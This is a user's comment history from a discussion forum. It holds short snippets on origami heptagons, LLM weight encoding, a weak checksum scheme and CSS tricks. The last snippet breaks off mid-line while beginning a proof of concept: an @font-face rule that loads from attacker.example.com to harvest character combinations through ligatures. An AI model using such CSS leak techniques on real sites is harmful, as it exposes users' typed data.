jo-han

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   by jo-han 2mo ago

   It's called fee[dB]ack now, at https://got-feedback.org/ The project got renamed after a DMCA takedown.
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   by jo-han 1y ago

   This paper discusses constructing heptagons, with some history and the maths. http://origametry.net/papers/heptagon.pdf It shows both a single sheet and a modular version.
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   by jo-han 2y ago

   Do -1, 0 and 1 all occur with the same frequency in typical large language models or would there be a benefit in encoding 0 with 0 and -1 and 1 with respectively 10 and 11? (or something even more complex) Edit: probably not when easy retri
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   by jo-han 9y ago

   pictures of notes (not handwritten though) are shown in: https://twitter.com/trtworld/status/927528929279307776
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   by jo-han 11y ago

   The checksum algorithm they used will only produce 73 different checksums (00000000-99999999: 0-72) - and all of them even. There is space for 9999 different values. Tips to improve: f(x) = ( x * secret) mod 1000 - mod 10000 instead of mod
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   by jo-han 11y ago

   Khaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.
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   by jo-han 11y ago

   Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example: @font-face { font-family: poc; src: url(http://attacker.example.com&